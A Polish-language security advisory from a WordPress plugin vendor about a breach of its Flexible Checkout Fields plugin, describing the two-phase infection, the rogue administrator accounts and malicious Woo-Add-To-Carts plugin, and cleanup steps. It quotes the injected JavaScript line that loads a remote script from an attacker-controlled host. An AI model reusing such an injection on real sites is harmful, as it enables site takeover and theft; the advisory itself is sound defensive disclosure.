WP Desk Care - zadbaj o swój biznes online!

Sprawdzona opieka techniczna dla Twojego sklepu

Flexible Checkout Fields – naruszenie bezpieczeństwa

Flexible Checkout Fields - naruszenie bezpieczeństwa

Dzisiaj pojawiło się naruszenie bezpieczeństwa w darmowej wersji wtyczki Flexible Checkout Fields. Szybko namierzyliśmy źródło tej sytuacji i opracowaliśmy poprawkę w wersji 2.3.4. W tym artykule znajdziesz dokładną instrukcję jak postępować w przypadku zarażenia i jak sprawdzić czy Twój sklep jest bezpieczny. 

W dniu dzisiejszym otrzymaliśmy zgłoszenia od naszych klientów odnośnie sytuacji prowadzących do naruszenia bezpieczeństwa stron internetowych z pośrednim wykorzystaniem naszej wtyczki Flexible Checkout Fields dostępnej w repozytorium WordPressa. Z informacji, które udało nam się ustalić wynika, że najprawdopodobniej z jej udziałem była instalowana w tle osobna wtyczka tworząca dodatkowe konta z uprawnieniami administratorskimi. 

Z pomocą społeczności WordPress bardzo szybko namierzyliśmy źródło problemu i w ciągu niecałej godziny opracowaliśmy stosowną poprawkę. Sytuacja została w pełni opanowana, jest pod kontrolą i wtyczka Flexible Checkout Fields nie stanowi już zagrożenia. Opublikowana przez nas wraz z wersją 2.3.4 wtyczki poprawka, zapobiega i uniemożliwia ponowne wykorzystania wcześniej wspomnianej metody do utworzenia kont administratorskich.

Objawy zainfekowania strony:

  • pojawienie się nowych kont z uprawnieniami administratora,
  • pojawienie się nowych wtyczek w panelu WordPress,
  • w katalogu wp-content/uploads zostały umieszczone podejrzane pliki z rozszerzeniem .php lub .zip np: Woo-Add-To-Carts.zip,
  • zmiana kolejności pól na stronie zamówienia, ich nieprawidłowe działanie lub pojawienie się nowych pól, które nie były wcześniej dodane. 

Zaktualizuj wtyczkę Flexible Checkout Fields do wersji 2.3.4 lub wyższej i sprawdź poniższą instrukcję, aby upewnić się, że sklep nie został zainfekowany.

Aktualizacja 3

Po audycie WPmagus zastosowaliśmy się do uwag Krzysztofa Dróżdża i wprowadziliśmy dodatkowe zabezpieczenia we wtyczce. Wszelkie zmiany zostały uwzględnione w wersji 2.4.12 wtyczki Flexible Checkout Fields oraz wersji 2.0.10 wtyczki Flexible Checkout Fields PRO. Było to głównie dostosowanie wtyczki do nowych wytycznych, tak aby jak najlepiej ją zabezpieczyć.

Aktualizacja 2

Opublikowaliśmy wtyczkę w wersji 2.3.4, która zabezpiecza przed dalszą infekcją jeśli znajduje się ona w fazie 1 (poniżej znajdziesz opis działania infekcji).

  • Zaktualizuj wtyczkę, zanim podejmiesz kolejne działania!
  • Po aktualizacji Flexible Checkout Fields do wersji 2.3.4 przejdź do ustawień wtyczki i sprawdź, czy pojawiły się jakieś nowe pola – jeśli tak, to usuń je.
  • Sprawdź opis poniżej czy sklep nie jest w fazie 2 infekcji: zostały utworzone dodatkowe konta admina i jest zainstalowana wtyczka Woo-Add-To-Carts.

Aktualizacja 1

Ustaliliśmy dokładnie jak przebiega infekcja. Pozwoli nam to przygotować aktualizację wtyczki, która powstrzyma atak nawet jeśli doszedł do fazy pierwszej.

Co się dzieje podczas infekcji:

Pierwsza faza
Za pomocą podatności, dodawane są dwa pola w dwóch różnych sekcjach wtyczki.

Pola te na dwa różne sposoby starają się dodać skrypt:

var script_tag = document.createElement(‘script’);
script_tag.setAttribute(‘src’,’https://umbriawalking.com/counter/pixel.js’);
document.head.appendChild(script_tag);”

Który umożliwia hackerowi przejście do fazy drugiej infekcji.

Druga faza
Żeby atak mógł zakończyć się sukcesem, administrator strony musi wejść na stronę ustawień wtyczki lub na stronę checkoutu.

Wtedy:

  • Tworzone są następujące konta z uprawnieniami administratora:

                 wptest_dev1: [email protected]
                 wptest_dev2: [email protected]
                 woo_developdevacc: [email protected]
                 developer_test_user: [email protected]

  • Pobierana jest paczka z kodem Woo-Add-To-Carts.zip która trafia do katalogu /wp-content/uploads/2020/02 a następnie jest instalowana za pomocą mechanizmów WordPress co kończy się jej instalacją w katalogu wp-content/plugins/Woo-Add-To-Carts/Woo-Add-To-Carts.php. Wtyczka jest widoczna na liście wtyczek jako Woo-Add-To-Carts.

Jeżeli na swojej stronie zauważysz objawy pasujące do powyższego opisu, najprawdopodobniej padła ona ofiarą ataku – postępuj według poniższych instrukcji:

Sposób postępowania jeśli Twój WordPress padł ofiarą ataku

Usunięcie źródła infekcji

    • Zaktualizuj wtyczkę Flexible Checkout Fields do najnowszej wersji, co najmniej 2.3.4.
    • Usuń konta z uprawnieniami administratora:

                 wptest_dev1: [email protected]
                 wptest_dev2: [email protected]
                 woo_developdevacc: [email protected]
                 developer_test_user: [email protected]

  • Sprawdź czy nie pojawiły się żadne inne nieznane konta administratora.
  • Usuń paczkę z kodem Woo-Add-To-Carts.zip z katalogu /wp-content/uploads/2020/02.
  • Sprawdź, czy w katalogu /wp-content/uploads/ nie pojawiły się nieznane pliki
  • Usuń katalog wtyczki z /wp-content/plugins/Woo-Add-To-Carts/ lub z listy wtyczek.
  • Sprawdź, czy na liście zainstalowanych wtyczek nie znajdują się wtyczki, których nie instalowałeś.
  • Sprawdź, czy pojawiły się dodatkowe pola w ustawieniach wtyczki Flexible Checkout Fields i usuń je. Sprawdź również pozostałe pola czy nie pojawiły się zmiany lub po prostu zresetuj ustawienia każdej sekcji (instrukcję znajdziesz poniżej).
  • Jeśli konta administratora są wciąż dodawane, zresetuj ustawienia pól Flexible Checkout Fields we wszystkich sekcjach.
  • Jeśli wciąż pojawiają się na Twojej stronie przekierowania (po wejściu na stronę główną lub stronę zamówienia), sprawdź plik header.php motywu, z którego obecnie korzystasz (/wp-content/themes/name-of-your-theme/header.php). Sprawdź czy znajduje się tam podejrzany kod. Po jego znalezieniu, usuń kod, zapisz zmiany i wyślij zmodyfikowany plik przez FTP.

Zazwyczaj podejrzany kod znajduje się zaraz na początku pliku header.php i wygląda tak lub podobnie:

Powyższe kroki są wystarczające, aby usunąć źródło infekcji, ale nie gwarantują bezpieczeństwa sklepu. Jeśli masz możliwość podejmij kolejne kroki lub poinformuj o tym administratora twojego sklepu.

Jeśli posiadasz kopię zapasową (backup) swojej strony:

  • Przywróć wszystkie pliki strony z backupu sprzed momentu wystąpienia problemu, upewniając się, że wszystkie potencjalnie zainfekowane pliki zostały usunięte.
  • Przywróć bazę danych z backupu.

Uwaga! Pamiętaj, że przywracając bazę danych utracisz część danych od momentu utworzenia kopii zapasowej.

Jeśli nie wiesz, czy we wtyczce pojawiły się dodatkowe pola:

  • Zresetuj ustawienia wtyczki Flexible Checkout Fields. W tym celu przejdź do ustawień wtyczki w menu WooCommerce/Pola zamówienia. Możesz też przejść do tej sekcji za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings
  • Dla sekcji Płatność (po), do której można się dostać również za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_billing kliknij przycisk Resetuj ustawienia sekcji.
  • Dla sekcji Wysyłka, do której można się dostać również za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_shipping kliknij przycisk Resetuj ustawienia sekcji.
  • Dla sekcji Zamówienie, do której można się dostać również za pomocą linku wp-admin/admin.php?page=inspire_checkout_fields_settings&tab=fields_order kliknij przycisk Resetuj ustawienia sekcji.

Jeśli wykonałeś/-aś wszystkie kroki zawarte w powyższej instrukcji postępowania i mimo to na Twojej stronie nadal występują problemy, prześlij zgłoszenie bezpośrednio na adres: [email protected] zawierające jak najwięcej dokładnych informacji, w tym m.in.:
Opis sytuacji – co dokładnie się wydarzyło na stronie.
Listę zainstalowanych wtyczek i ich wersje (status systemu WooCommerce)

 

 

Zobacz inne artykuły

Dołącz do ponad 10 000 czytelników

Poradniki WooCommerce i nowości –
wprost na Twój e-mail.